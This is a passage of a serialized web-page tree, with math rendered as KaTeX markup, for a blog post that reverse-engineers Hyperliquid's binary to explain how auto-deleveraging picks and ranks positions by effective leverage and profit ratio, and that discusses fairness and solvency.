",{"type":26,"tag":53,"props":159109,"children":159111},{"className":159110},[],[159112],{"type":32,"value":158951},{"type":32,"value":159114},", otherwise we keep it and only holders of underwater ",{"type":26,"tag":53,"props":159116,"children":159118},{"className":159117},[],[159119],{"type":32,"value":159047},{"type":32,"value":159121}," positions from the earlier loop are considered for ADL.",{"type":26,"tag":158447,"props":159123,"children":159124},{},[159125],{"type":26,"tag":35,"props":159126,"children":159127},{},[159128],{"type":32,"value":159129},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":26,"tag":158478,"props":159131,"children":159134},{"addr":158849,"line-start":159132,"line-end":159133},"523","526",[],{"type":26,"tag":35,"props":159136,"children":159137},{},[159138,159140,159146,159148,159154,159156,159161],{"type":32,"value":159139},"For each underwater position, we do a ",{"type":26,"tag":159022,"props":159141,"children":159143},{"addrs":159142},"0x555556ac42ad-0x555556ac42be",[159144],{"type":32,"value":159145},"B-tree lookup",{"type":32,"value":159147}," on ",{"type":26,"tag":53,"props":159149,"children":159151},{"className":159150},[],[159152],{"type":32,"value":159153},"clearinghouse.user_states[position.user]",{"type":32,"value":159155},", adding them to a ",{"type":26,"tag":53,"props":159157,"children":159159},{"className":159158},[],[159160],{"type":32,"value":16917},{"type":32,"value":159162}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":26,"tag":158478,"props":159164,"children":159167},{"addr":158849,"line-start":159165,"line-end":159166},"635","658",[],{"type":26,"tag":35,"props":159169,"children":159170},{},[159171],{"type":32,"value":159172},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":26,"tag":465,"props":159174,"children":159175},{},[159176],{"type":26,"tag":53,"props":159177,"children":159179},{"className":159178},[3691,158506],[159180],{"type":26,"tag":475,"props":159181,"children":159183},{"className":159182},[158511],[159184],{"type":26,"tag":475,"props":159185,"children":159187},{"className":159186},[3697],[159188],{"type":26,"tag":475,"props":159189,"children":159191},{"className":159190,"ariaHidden":3703},[3702],[159192],{"type":26,"tag":475,"props":159193,"children":159195},{"className":159194},[3708],[159196,159201],{"type":26,"tag":475,"props":159197,"children":159200},{"className":159198,"style":159199},[3713],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":26,"tag":475,"props":159202,"children":159204},{"className":159203},[3719],[159205],{"type":26,"tag":475,"props":159206,"children":159209},{"className":159207},[159208],"mtable",[159210,159290],{"type":26,"tag":475,"props":159211,"children":159214},{"className":159212},[159213],"col-align-r",[159215],{"type":26,"tag":475,"props":159216,"children":159218},{"className":159217},[3741,21350],[159219,159278],{"type":26,"tag":475,"props":159220,"children":159222},{"className":159221},[3746],[159223,159273],{"type":26,"tag":475,"props":159224,"children":159227},{"className":159225,"style":159226},[3751],"height:2.3452em;",[159228,159251],{"type":26,"tag":475,"props":159229,"children":159231},{"style":159230},"top:-4.3452em;",[159232,159237],{"type":26,"tag":475,"props":159233,"children":159236},{"className":159234,"style":159235},[3760],"height:3.3944em;",[],{"type":26,"tag":475,"props":159238,"children":159240},{"className":159239},[3719],[159241],{"type":26,"tag":475,"props":159242,"children":159244},{"className":159243},[3719,32],[159245],{"type":26,"tag":475,"props":159246,"children":159248},{"className":159247},[3719],[159249],{"type":32,"value":159250},"position_weight",{"type":26,"tag":475,"props":159252,"children":159254},{"style":159253},"top:-2.2092em;",[159255,159259],{"type":26,"tag":475,"props":159256,"children":159258},{"className":159257,"style":159235},[3760],[],{"type":26,"tag":475,"props":159260,"children":159262},{"className":159261},[3719],[159263],{"type":26,"tag":475,"props":159264,"children":159266},{"className":159265},[3719,32],[159267],{"type":26,"tag":475,"props":159268,"children":159270},{"className":159269},[3719],[159271],{"type":32,"value":159272},"position_adl_amount",{"type":26,"tag":475,"props":159274,"children":159276},{"className":159275},[21453],[159277],{"type":32,"value":21456},{"type":26,"tag":475,"props":159279,"children":159281},{"className":159280},[3746],[159282],{"type":26,"tag":475,"props":159283,"children":159286},{"className":159284,"style":159285},[3751],"height:1.8452em;",[159287],{"type":26,"tag":475,"props":159288,"children":159289},{},[],{"type":26,"tag":475,"props":159291,"children":159294},{"className":159292},[159293],"col-align-l",[159295],{"type":26,"tag":475,"props":159296,"children":159298},{"className":159297},[3741,21350],[159299,159500],{"type":26,"tag":475,"props":159300,"children":159302},{"className":159301},[3746],[159303,159495],{"type":26,"tag":475,"props":159304,"children":159306},{"className":159305,"style":159226},[3751],[159307,159435],{"type":26,"tag":475,"props":159308,"children":159309},{"style":159230},[159310,159314],{"type":26,"tag":475,"props":159311,"children":159313},{"className":159312,"style":159235},[3760],[],{"type":26,"tag":475,"props":159315,"children":159317},{"className":159316},[3719],[159318,159322,159326,159331,159335],{"type":26,"tag":475,"props":159319,"children":159321},{"className":159320},[3719],[],{"type":26,"tag":475,"props":159323,"children":159325},{"className":159324,"style":3898},[3800],[],{"type":26,"tag":475,"props":159327,"children":159329},{"className":159328},[3903],[159330],{"type":32,"value":786},{"type":26,"tag":475,"props":159332,"children":159334},{"className":159333,"style":3898},[3800],[],{"type":26,"tag":475,"props":159336,"children":159338},{"className":159337},[3719],[159339,159343,159431],{"type":26,"tag":475,"props":159340,"children":159342},{"className":159341},[21425,112997],[],{"type":26,"tag":475,"props":159344,"children":159346},{"className":159345},[113002],[159347],{"type":26,"tag":475,"props":159348,"children":159350},{"className":159349},[3741,21350],[159351,159419],{"type":26,"tag":475,"props":159352,"children":159354},{"className":159353},[3746],[159355,159414],{"type":26,"tag":475,"props":159356,"children":159359},{"className":159357,"style":159358},[3751],"height:1.3944em;",[159360,159381,159392],{"type":26,"tag":475,"props":159361,"children":159362},{"style":158588},[159363,159367],{"type":26,"tag":475,"props":159364,"children":159366},{"className":159365,"style":111650},[3760],[],{"type":26,"tag":475,"props":159368,"children":159370},{"className":159369},[3719],[159371],{"type":26,"tag":475,"props":159372,"children":159374},{"className":159373},[3719,32],[159375],{"type":26,"tag":475,"props":159376,"children":159378},{"className":159377},[3719],[159379],{"type":32,"value":159380},"total_cross_notional",{"type":26,"tag":475,"props":159382,"children":159383},{"style":113052},[159384,159388],{"type":26,"tag":475,"props":159385,"children":159387},{"className":159386,"style":111650},[3760],[],{"type":26,"tag":475,"props":159389,"children":159391},{"className":159390,"style":113062},[113061],[],{"type":26,"tag":475,"props":159393,"children":159395},{"style":159394},"top:-3.7em;",[159396,159400],{"type":26,"tag":475,"props":159397,"children":159399},{"className":159398,"style":111650},[3760],[],{"type":26,"tag":475,"props":159401,"children":159403},{"className":159402},[3719],[159404],{"type":26,"tag":475,"props":159405,"children":159407},{"className":159406},[3719,32],[159408],{"type":26,"tag":475,"props":159409,"children":159411},{"className":159410},[3719],[159412],{"type":32,"value":159413},"position_notional",{"type":26,"tag":475,"props":159415,"children":159417},{"className":159416},[21453],[159418],{"type":32,"value":21456},{"type":26,"tag":475,"props":159420,"children":159422},{"className":159421},[3746],[159423],{"type":26,"tag":475,"props":159424,"children":159427},{"className":159425,"style":159426},[3751],"height:0.996em;",[159428],{"type":26,"tag":475,"props":159429,"children":159430},{},[],{"type":26,"tag":475,"props":159432,"children":159434},{"className":159433},[21447,112997],[],{"type":26,"tag":475,"props":159436,"children":159437},{"style":159253},[159438,159442],{"type":26,"tag":475,"props":159439,"children":159441},{"className":159440,"style":159235},[3760],[],{"type":26,"tag":475,"props":159443,"children":159445},{"className":159444},[3719],[159446,159450,159454,159459,159463,159473,159477,159482,159486],{"type":26,"tag":475,"props":159447,"children":159449},{"className":159448},[3719],[],{"type":26,"tag":475,"props":159451,"children":159453},{"className":159452,"style":3898},[3800],[],{"type":26,"tag":475,"props":159455,"children":159457},{"className":159456},[3903],[159458],{"type":32,"value":786},{"type":26,"tag":475,"props":159460,"children":159462},{"className":159461,"style":3898},[3800],[],{"type":26,"tag":475,"props":159464,"children":159466},{"className":159465},[3719,32],[159467],{"type":26,"tag":475,"props":159468,"children":159470},{"className":159469},[3719],[159471],{"type":32,"value":159472},"user_shortfall",{"type":26,"tag":475,"props":159474,"children":159476},{"className":159475,"style":3801},[3800],[],{"type":26,"tag":475,"props":159478,"children":159480},{"className":159479},[3806],[159481],{"type":32,"value":110741},{"type":26,"tag":475,"props":159483,"children":159485},{"className":159484,"style":3801},[3800],[],{"type":26,"tag":475,"props":159487,"children":159489},{"className":159488},[3719,32],[159490],{"type":26,"tag":475,"props":159491,"children":159493},{"className":159492},[3719],[159494],{"type":32,"value":159250},{"type":26,"tag":475,"props":159496,"children":159498},{"className":159497},[21453],[159499],{"type":32,"value":21456},{"type":26,"tag":475,"props":159501,"children":159503},{"className":159502},[3746],[159504],{"type":26,"tag":475,"props":159505,"children":159507},{"className":159506,"style":159285},[3751],[159508],{"type":26,"tag":475,"props":159509,"children":159510},{},[],{"type":26,"tag":35,"props":159512,"children":159513},{},[159514],{"type":32,"value":159515},"We do that here:",{"type":26,"tag":158478,"props":159517,"children":159520},{"addr":158849,"line-start":159518,"line-end":159519},"828","981",[],{"type":26,"tag":35,"props":159522,"children":159523},{},[159524,159525,159531,159533,159539],{"type":32,"value":16319},{"type":26,"tag":159022,"props":159526,"children":159528},{"lines":159527},"77-79",[159529],{"type":32,"value":159530},"inner loop",{"type":32,"value":159532}," above spans all ",{"type":26,"tag":53,"props":159534,"children":159536},{"className":159535},[],[159537],{"type":32,"value":159538},"(asset_idx, direction)",{"type":32,"value":159540}," held in the cross margin position.",{"type":26,"tag":35,"props":159542,"children":159543},{},[159544,159546,159552,159554,159560,159561,159567],{"type":32,"value":159545},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":26,"tag":53,"props":159547,"children":159549},{"className":159548},[],[159550],{"type":32,"value":159551},"adl_output",{"type":32,"value":159553}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":26,"tag":53,"props":159555,"children":159557},{"className":159556},[],[159558],{"type":32,"value":159559},"position_id",{"type":32,"value":209},{"type":26,"tag":53,"props":159562,"children":159564},{"className":159563},[],[159565],{"type":32,"value":159566},"position_shortfall",{"type":32,"value":353},{"type":26,"tag":158478,"props":159569,"children":159572},{"addr":158849,"line-start":159570,"line-end":159571},"2377","2469",[],{"type":26,"tag":35,"props":159574,"children":159575},{},[159576,159578,159584],{"type":32,"value":159577},"Afterwards we can finally loop over the B-tree containing ",{"type":26,"tag":53,"props":159579,"children":159581},{"className":159580},[],[159582],{"type":32,"value":159583},"(position_id, cut)",{"type":32,"value":159585},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":26,"tag":35,"props":159587,"children":159588},{},[159589,159591,159596],{"type":32,"value":159590},"The final phase of ",{"type":26,"tag":53,"props":159592,"children":159594},{"className":159593},[],[159595],{"type":32,"value":158803},{"type":32,"value":159597}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":26,"tag":158478,"props":159599,"children":159602},{"addr":158849,"addr-start":159600,"addr-end":159601},"0x555556ac6d52","0x555556ac6de8",[],{"type":26,"tag":35,"props":159604,"children":159605},{},[159606],{"type":32,"value":159607},"How are positions chosen (sorted) to be deleveraged?",{"type":26,"tag":35068,"props":159609,"children":159611},{"id":159610},"who-do-we-deleverage",[159612],{"type":32,"value":159613},"Who Do We Deleverage?",{"type":26,"tag":35,"props":159615,"children":159616},{},[159617],{"type":32,"value":159618},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":26,"tag":35,"props":159620,"children":159621},{},[159622],{"type":32,"value":159623},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":26,"tag":35,"props":159625,"children":159626},{},[159627,159629,159636],{"type":32,"value":159628},"More formally, fairness can be given multiple related definitions; see ",{"type":26,"tag":116,"props":159630,"children":159633},{"href":159631,"rel":159632},"https://arxiv.org/abs/2512.01112",[120],[159634],{"type":32,"value":159635},"this paper",{"type":32,"value":159637},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":26,"tag":35,"props":159639,"children":159640},{},[159641],{"type":32,"value":159642},"So, is Hyperliquid fair? Is it always solvent?",{"type":26,"tag":27,"props":159644,"children":159646},{"id":159645},"adl-score-computation",[159647],{"type":32,"value":159648},"ADL Score Computation",{"type":26,"tag":35,"props":159650,"children":159651},{},[159652,159654,159660,159662,159668,159670,159675],{"type":32,"value":159653},"The score function at ",{"type":26,"tag":53,"props":159655,"children":159657},{"className":159656},[],[159658],{"type":32,"value":159659},"compute_adl_ranking_score",{"type":32,"value":159661}," is core to answering this question. It's defined, most likely as an ",{"type":26,"tag":53,"props":159663,"children":159665},{"className":159664},[],[159666],{"type":32,"value":159667},"Ord",{"type":32,"value":159669}," implementation on some 20-byte address representation. A ",{"type":26,"tag":53,"props":159671,"children":159673},{"className":159672},[],[159674],{"type":32,"value":16917},{"type":32,"value":159676}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":26,"tag":35,"props":159678,"children":159679},{},[159680,159682,159687,159689,159695,159697,159704,159706,159713],{"type":32,"value":159681},"Those sort routines are ",{"type":26,"tag":2615,"props":159683,"children":159684},{},[159685],{"type":32,"value":159686},"generated by the compiler",{"type":32,"value":159688},": since Rust binaries include a lot of metadata by default in ",{"type":26,"tag":53,"props":159690,"children":159692},{"className":159691},[],[159693],{"type":32,"value":159694},".comment",{"type":32,"value":159696},", we may even manually ",{"type":26,"tag":116,"props":159698,"children":159701},{"href":159699,"rel":159700},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[120],[159702],{"type":32,"value":159703},"take advantage",{"type":32,"value":159705}," of this to recover the ",{"type":26,"tag":116,"props":159707,"children":159710},{"href":159708,"rel":159709},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[120],[159711],{"type":32,"value":159712},"exact source of library functions",{"type":32,"value":353},{"type":26,"tag":35,"props":159715,"children":159716},{},[159717,159719,159724],{"type":32,"value":159718},"Let's see how this ties back into the ",{"type":26,"tag":53,"props":159720,"children":159722},{"className":159721},[],[159723],{"type":32,"value":158803},{"type":32,"value":179},{"type":26,"tag":158478,"props":159726,"children":159728},{"source":158803,"target":159659,"direction":158804,"path":159727},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":26,"tag":35,"props":159730,"children":159731},{},[159732],{"type":32,"value":159733},"And here's the main call site used for sorting:",{"type":26,"tag":158478,"props":159735,"children":159738},{"addr":158849,"line-start":159736,"line-end":159737},"2806","2814",[],{"type":26,"tag":27,"props":159740,"children":159742},{"id":159741},"ratio-1-effective-leverage",[159743],{"type":32,"value":159744},"Ratio 1: Effective Leverage",{"type":26,"tag":465,"props":159746,"children":159747},{},[159748],{"type":26,"tag":53,"props":159749,"children":159751},{"className":159750},[3691,158506],[159752],{"type":26,"tag":475,"props":159753,"children":159755},{"className":159754},[158511],[159756],{"type":26,"tag":475,"props":159757,"children":159759},{"className":159758},[3697],[159760],{"type":26,"tag":475,"props":159761,"children":159763},{"className":159762,"ariaHidden":3703},[3702],[159764,159795],{"type":26,"tag":475,"props":159765,"children":159767},{"className":159766},[3708],[159768,159772,159782,159786,159791],{"type":26,"tag":475,"props":159769,"children":159771},{"className":159770,"style":114534},[3713],[],{"type":26,"tag":475,"props":159773,"children":159775},{"className":159774},[3719,32],[159776],{"type":26,"tag":475,"props":159777,"children":159779},{"className":159778},[3719],[159780],{"type":32,"value":159781},"effective leverage",{"type":26,"tag":475,"props":159783,"children":159785},{"className":159784,"style":3898},[3800],[],{"type":26,"tag":475,"props":159787,"children":159789},{"className":159788},[3903],[159790],{"type":32,"value":786},{"type":26,"tag":475,"props":159792,"children":159794},{"className":159793,"style":3898},[3800],[],{"type":26,"tag":475,"props":159796,"children":159798},{"className":159797},[3708],[159799,159804],{"type":26,"tag":475,"props":159800,"children":159803},{"className":159801,"style":159802},[3713],"height:2.113em;vertical-align:-0.686em;",[],{"type":26,"tag":475,"props":159805,"children":159807},{"className":159806},[3719],[159808,159812,159907],{"type":26,"tag":475,"props":159809,"children":159811},{"className":159810},[21425,112997],[],{"type":26,"tag":475,"props":159813,"children":159815},{"className":159814},[113002],[159816],{"type":26,"tag":475,"props":159817,"children":159819},{"className":159818},[3741,21350],[159820,159895],{"type":26,"tag":475,"props":159821,"children":159823},{"className":159822},[3746],[159824,159890],{"type":26,"tag":475,"props":159825,"children":159827},{"className":159826,"style":158584},[3751],[159828,159849,159860],{"type":26,"tag":475,"props":159829,"children":159830},{"style":158588},[159831,159835],{"type":26,"tag":475,"props":159832,"children":159834},{"className":159833,"style":111650},[3760],[],{"type":26,"tag":475,"props":159836,"children":159838},{"className":159837},[3719],[159839],{"type":26,"tag":475,"props":159840,"children":159842},{"className":159841},[3719,32],[159843],{"type":26,"tag":475,"props":159844,"children":159846},{"className":159845},[3719],[159847],{"type":32,"value":159848},"account value",{"type":26,"tag":475,"props":159850,"children":159851},{"style":113052},[159852,159856],{"type":26,"tag":475,"props":159853,"children":159855},{"className":159854,"style":111650},[3760],[],{"type":26,"tag":475,"props":159857,"children":159859},{"className":159858,"style":113062},[113061],[],{"type":26,"tag":475,"props":159861,"children":159862},{"style":158639},[159863,159867],{"type":26,"tag":475,"props":159864,"children":159866},{"className":159865,"style":111650},[3760],[],{"type":26,"tag":475,"props":159868,"children":159870},{"className":159869},[3719],[159871,159876,159885],{"type":26,"tag":475,"props":159872,"children":159874},{"className":159873},[3719],[159875],{"type":32,"value":158654},{"type":26,"tag":475,"props":159877,"children":159879},{"className":159878},[3719,32],[159880],{"type":26,"tag":475,"props":159881,"children":159883},{"className":159882},[3719],[159884],{"type":32,"value":158664},{"type":26,"tag":475,"props":159886,"children":159888},{"className":159887},[3719],[159889],{"type":32,"value":158654},{"type":26,"tag":475,"props":159891,"children":159893},{"className":159892},[21453],[159894],{"type":32,"value":21456},{"type":26,"tag":475,"props":159896,"children":159898},{"className":159897},[3746],[159899],{"type":26,"tag":475,"props":159900,"children":159903},{"className":159901,"style":159902},[3751],"height:0.686em;",[159904],{"type":26,"tag":475,"props":159905,"children":159906},{},[],{"type":26,"tag":475,"props":159908,"children":159910},{"className":159909},[21447,112997],[],{"type":26,"tag":35,"props":159912,"children":159913},{},[159914,159916,159922,159924,159930,159931,159937,159939,159945],{"type":32,"value":159915},"We can see in the decompilation below, through the SIMD noise, that ",{"type":26,"tag":53,"props":159917,"children":159919},{"className":159918},[],[159920],{"type":32,"value":159921},"abs_notional",{"type":32,"value":159923}," (unsigned), and ",{"type":26,"tag":53,"props":159925,"children":159927},{"className":159926},[],[159928],{"type":32,"value":159929},"float.d(rbx)",{"type":32,"value":5213},{"type":26,"tag":53,"props":159932,"children":159934},{"className":159933},[],[159935],{"type":32,"value":159936},"account_value",{"type":32,"value":159938}," (signed); the division is ",{"type":26,"tag":53,"props":159940,"children":159942},{"className":159941},[],[159943],{"type":32,"value":159944},"abs_notional / account_value",{"type":32,"value":353},{"type":26,"tag":35,"props":159947,"children":159948},{},[159949],{"type":32,"value":159950},"This tells us the risk multiplier that the user took on for this position.",{"type":26,"tag":158478,"props":159952,"children":159956},{"addr":159953,"line-start":159954,"line-end":159955},"0x555556abb140","278","296",[],{"type":26,"tag":27,"props":159958,"children":159960},{"id":159959},"ratio-2-profit-ratio",[159961],{"type":32,"value":159962},"Ratio 2: Profit Ratio",{"type":26,"tag":465,"props":159964,"children":159965},{},[159966],{"type":26,"tag":53,"props":159967,"children":159969},{"className":159968},[3691,158506],[159970],{"type":26,"tag":475,"props":159971,"children":159973},{"className":159972},[158511],[159974],{"type":26,"tag":475,"props":159975,"children":159977},{"className":159976},[3697],[159978],{"type":26,"tag":475,"props":159979,"children":159981},{"className":159980,"ariaHidden":3703},[3702],[159982,160013],{"type":26,"tag":475,"props":159983,"children":159985},{"className":159984},[3708],[159986,159990,160000,160004,160009],{"type":26,"tag":475,"props":159987,"children":159989},{"className":159988,"style":114534},[3713],[],{"type":26,"tag":475,"props":159991,"children":159993},{"className":159992},[3719,32],[159994],{"type":26,"tag":475,"props":159995,"children":159997},{"className":159996},[3719],[159998],{"type":32,"value":159999},"profit ratio",{"type":26,"tag":475,"props":160001,"children":160003},{"className":160002,"style":3898},[3800],[],{"type":26,"tag":475,"props":160005,"children":160007},{"className":160006},[3903],[160008],{"type":32,"value":786},{"type":26,"tag":475,"props":160010,"children":160012},{"className":160011,"style":3898},[3800],[],{"type":26,"tag":475,"props":160014,"children":160016},{"className":160015},[3708],[160017,160021],{"type":26,"tag":475,"props":160018,"children":160020},{"className":160019,"style":158559},[3713],[],{"type":26,"tag":475,"props":160022,"children":160024},{"className":160023},[3719],[160025,160029,160148],{"type":26,"tag":475,"props":160026,"children":160028},{"className":160027},[21425,112997],[],{"type":26,"tag":475,"props":160030,"children":160032},{"className":160031},[113002],[160033],{"type":26,"tag":475,"props":160034,"children":160036},{"className":160035},[3741,21350],[160037,160137],{"type":26,"tag":475,"props":160038,"children":160040},{"className":160039},[3746],[160041,160132],{"type":26,"tag":475,"props":160042,"children":160044},{"className":160043,"style":158584},[3751],[160045,160066,160077],{"type":26,"tag":475,"props":160046,"children":160047},{"style":158588},[160048,160052],{"type":26,"tag":475,"props":160049,"children":160051},{"className":160050,"style":111650},[3760],[],{"type":26,"tag":475,"props":160053,"children":160055},{"className":160054},[3719],[160056],{"type":26,"tag":475,"props":160057,"children":160059},{"className":160058},[3719,32],[160060],{"type":26,"tag":475,"props":160061,"children":160063},{"className":160062},[3719],[160064],{"type":32,"value":160065},"entry notional",{"type":26,"tag":475,"props":160067,"children":160068},{"style":113052},[160069,160073],{"type":26,"tag":475,"props":160070,"children":160072},{"className":160071,"style":111650},[3760],[],{"type":26,"tag":475,"props":160074,"children":160076},{"className":160075,"style":113062},[113061],[],{"type":26,"tag":475,"props":160078,"children":160079},{"style":158639},[160080,160084],{"type":26,"tag":475,"props":160081,"children":160083},{"className":160082,"style":111650},[3760],[],{"type":26,"tag":475,"props":160085,"children":160087},{"className":160086},[3719],[160088,160094,160099,160109,160114,160118,160122,160127],{"type":26,"tag":475,"props":160089,"children":160091},{"className":160090},[21332],[160092],{"type":32,"value":160093},"max",{"type":26,"tag":475,"props":160095,"children":160097},{"className":160096},[21425],[160098],{"type":32,"value":626},{"type":26,"tag":475,"props":160100,"children":160102},{"className":160101},[3719,32],[160103],{"type":26,"tag":475,"props":160104,"children":160106},{"className":160105},[3719],[160107],{"type":32,"value":160108},"pnl",{"type":26,"tag":475,"props":160110,"children":160112},{"className":160111},[3832],[160113],{"type":32,"value":3835},{"type":26,"tag":475,"props":160115,"children":160117},{"className":160116,"style":3839},[3800],[],{"type":26,"tag":475,"props":160119,"children":160121},{"className":160120,"style":3839},[3800],[],{"type":26,"tag":475,"props":160123,"children":160125},{"className":160124},[3719],[160126],{"type":32,"value":3732},{"type":26,"tag":475,"props":160128,"children":160130},{"className":160129},[21447],[160131],{"type":32,"value":2835},{"type":26,"tag":475,"props":160133,"children":160135},{"className":160134},[21453],[160136],{"type":32,"value":21456},{"type":26,"tag":475,"props":160138,"children":160140},{"className":160139},[3746],[160141],{"type":26,"tag":475,"props":160142,"children":160144},{"className":160143,"style":158682},[3751],[160145],{"type":26,"tag":475,"props":160146,"children":160147},{},[],{"type":26,"tag":475,"props":160149,"children":160151},{"className":160150},[21447,112997],[],{"type":26,"tag":35,"props":160153,"children":160154},{},[160155,160157,160163],{"type":32,"value":160156},"It uses entry notional (",{"type":26,"tag":53,"props":160158,"children":160160},{"className":160159},[],[160161],{"type":32,"value":160162},"r14_2",{"type":32,"value":160164},") as the divisor. PNL is clamped to non-negative before division.",{"type":26,"tag":35,"props":160166,"children":160167},{},[160168],{"type":32,"value":160169},"This basically tells us how well the user's bet went.",{"type":26,"tag":158478,"props":160171,"children":160175},{"addr":160172,"addr-start":160173,"addr-end":160174},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":26,"tag":35,"props":160177,"children":160178},{},[160179,160181,160187,160189,160195],{"type":32,"value":160180},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":26,"tag":53,"props":160182,"children":160184},{"className":160183},[],[160185],{"type":32,"value":160186},"1e-8",{"type":32,"value":160188},", in order not to cancel each other out. The final ADL ranking score is ",{"type":26,"tag":53,"props":160190,"children":160192},{"className":160191},[],[160193],{"type":32,"value":160194},"effective_leverage * profit_ratio",{"type":32,"value":160196},", consistent with both ratio directions and the max clamp on PNL.",{"type":26,"tag":35,"props":160198,"children":160199},{},[160200],{"type":32,"value":160201},"So, in essence, we look for risky and profitable positions!",{"type":26,"tag":41,"props":160203,"children":160205},{"id":160204},"partial-and-total-adl",[160206],{"type":32,"value":160207},"Partial and Total ADL",{"type":26,"tag":35,"props":160209,"children":160210},{},[160211],{"type":32,"value":160212},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":26,"tag":35,"props":160214,"children":160215},{},[160216],{"type":32,"value":160217},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":26,"tag":35,"props":160219,"children":160220},{},[160221,160223,160228],{"type":32,"value":160222},"So essentially, in pseudocode, the whole latter part of ",{"type":26,"tag":53,"props":160224,"children":160226},{"className":160225},[],[160227],{"type":32,"value":158803},{"type":32,"value":160229}," boils down to:",{"type":26,"tag":158478,"props":160231,"children":160234},{"addr":158849,"line-start":160232,"line-end":160233},"3252","3632",[],{"type":26,"tag":35,"props":160236,"children":160237},{},[160238],{"type":32,"value":160239},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":26,"tag":35068,"props":160241,"children":160243},{"id":160242},"branches",[160244],{"type":32,"value":160245},"Branches",{"type":26,"tag":35,"props":160247,"children":160248},{},[160249],{"type":32,"value":160250},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":26,"tag":35,"props":160252,"children":160253},{},[160254],{"type":32,"value":160255},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":26,"tag":35068,"props":160257,"children":160259},{"id":160258},"financial-conclusions",[160260],{"type":32,"value":160261},"Financial Conclusions",{"type":26,"tag":27,"props":160263,"children":160265},{"id":160264},"fairness-revenue-solvency-trilemma",[160266],{"type":32,"value":160267},"Fairness, Revenue, Solvency Trilemma",{"type":26,"tag":35,"props":160269,"children":160270},{},[160271,160273,160279],{"type":32,"value":160272},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":26,"tag":116,"props":160274,"children":160276},{"href":159631,"rel":160275},[120],[160277],{"type":32,"value":160278},"the paper mentioned before",{"type":32,"value":160280},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":26,"tag":82,"props":160282,"children":160283},{},[160284,160294,160304],{"type":26,"tag":86,"props":160285,"children":160286},{},[160287,160292],{"type":26,"tag":2615,"props":160288,"children":160289},{},[160290],{"type":32,"value":160291},"Solvency",{"type":32,"value":160293},": can the platform pay every trader out?",{"type":26,"tag":86,"props":160295,"children":160296},{},[160297,160302],{"type":26,"tag":2615,"props":160298,"children":160299},{},[160300],{"type":32,"value":160301},"Fairness",{"type":32,"value":160303},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":26,"tag":86,"props":160305,"children":160306},{},[160307,160312],{"type":26,"tag":2615,"props":160308,"children":160309},{},[160310],{"type":32,"value":160311},"Revenue",{"type":32,"value":160313},": the fraction of total winner PNL that survives after deleveraging.",{"type":26,"tag":35,"props":160315,"children":160316},{},[160317],{"type":32,"value":160318},"Let's borrow these definitions from the paper:",{"type":26,"tag":465,"props":160320,"children":160321},{},[160322],{"type":26,"tag":53,"props":160323,"children":160325},{"className":160324},[3691,158506],[160326],{"type":26,"tag":475,"props":160327,"children":160329},{"className":160328},[158511],[160330],{"type":26,"tag":475,"props":160331,"children":160333},{"className":160332},[3697],[160334],{"type":26,"tag":475,"props":160335,"children":160337},{"className":160336,"ariaHidden":3703},[3702],[160338],{"type":26,"tag":475,"props":160339,"children":160341},{"className":160340},[3708],[160342,160347],{"type":26,"tag":475,"props":160343,"children":160346},{"className":160344,"style":160345},[3713],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":26,"tag":475,"props":160348,"children":160350},{"className":160349},[3719],[160351],{"type":26,"tag":475,"props":160352,"children":160354},{"className":160353},[159208],[160355,161174],{"type":26,"tag":475,"props":160356,"children":160358},{"className":160357},[159213],[160359],{"type":26,"tag":475,"props":160360,"children":160362},{"className":160361},[3741,21350],[160363,161162],{"type":26,"tag":475,"props":160364,"children":160366},{"className":160365},[3746],[160367,161157],{"type":26,"tag":475,"props":160368,"children":160371},{"className":160369,"style":160370},[3751],"height:11.8392em;",[160372,160443,160460,160529,160599,160668,160738,160807,160876,160945,161015,161086],{"type":26,"tag":475,"props":160373,"children":160375},{"style":160374},"top:-14.3707em;",[160376,160381],{"type":26,"tag":475,"props":160377,"children":160380},{"className":160378,"style":160379},[3760],"height:3.3714em;",[],{"type":26,"tag":475,"props":160382,"children":160384},{"className":160383},[3719],[160385],{"type":26,"tag":475,"props":160386,"children":160388},{"className":160387},[3719],[160389,160394],{"type":26,"tag":475,"props":160390,"children":160392},{"className":160391,"style":21297},[3719,21296],[160393],{"type":32,"value":21300},{"type":26,"tag":475,"props":160395,"children":160397},{"className":160396},[3736],[160398],{"type":26,"tag":475,"props":160399,"children":160401},{"className":160400},[3741,21350],[160402,160432],{"type":26,"tag":475,"props":160403,"children":160405},{"className":160404},[3746],[160406,160427],{"type":26,"tag":475,"props":160407,"children":160409},{"className":1